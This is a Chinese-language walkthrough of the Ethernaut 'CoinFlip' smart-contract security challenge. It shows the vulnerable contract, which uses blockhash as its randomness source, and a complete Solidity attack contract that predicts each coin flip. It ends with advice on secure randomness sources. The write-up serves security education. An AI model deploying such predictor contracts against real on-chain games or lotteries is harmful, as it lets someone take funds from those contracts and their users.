Difficulty : 3/10Level : https://ethernaut.openzeppelin.com/level/0x4dF32584890A0026e56f7535d0f2C6486753624f
先看通关要求:
这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。
分析 合约代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; import '@openzeppelin/contracts/math/SafeMath.sol'; contract CoinFlip { using SafeMath for uint256; uint256 public consecutiveWins; uint256 lastHash; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; constructor() public { consecutiveWins = 0; } function flip(bool _guess) public returns (bool) { uint256 blockValue = uint256(blockhash(block.number.sub(1))); if (lastHash == blockValue) { revert(); } lastHash = blockValue; uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false; if (side == _guess) { consecutiveWins++; return true; } else { consecutiveWins = 0; return false; } } }
本关使用 block number 作为随机数,计算 div,然后和 _guess 进行比较。
由此可知只要保证调用方和被调用方的block number 相同就可以计算出结果。
个人钱包调用不能保证block number相同,需要单独写一个合约调用CoinFlip合约即可。
解题 获取关卡合约实例地址:
打开 Remix IDE ,新建文件 CoinFlip.sol:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 // SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import '@openzeppelin/contracts/utils/math/SafeMath.sol'; interface ICoinFlip { function flip(bool _guess) external returns (bool); } contract CoinFlip { using SafeMath for uint256; uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; address levelInstance; constructor(address _levelInstance) { levelInstance = _levelInstance; } function guess() public { uint256 blockValue = uint256(blockhash(block.number.sub(1))); uint256 coinFlip = blockValue.div(FACTOR); bool side = coinFlip == 1 ? true : false; if (side == true) { ICoinFlip(levelInstance).flip(true); } else { ICoinFlip(levelInstance).flip(false); } } }
编译部署,在 constructor 填入关卡合约地址然后部署。
然后分别在10个区块中调用 guess 函数。
最后提交,本关完成。
后续 通过solidity产生随机数没有那么容易. 目前没有一个很自然的方法来做到这一点, 而且你在智能合约中做的所有事情都是公开可见的, 包括本地变量和被标记为私有的状态变量. 矿工可以控制 blockhashes, 时间戳, 或是是否包括某个交易, 这可以让他们根据他们目的来左右这些事情.
想要获得密码学上的随机数,你可以使用 Chainlink VRF , 它使用预言机, LINK token, 和一个链上合约来检验这是不是真的是一个随机数.
一些其它的选项包括使用比特币block headers (通过验证 BTC Relay ), RANDAO , 或是 Oraclize ).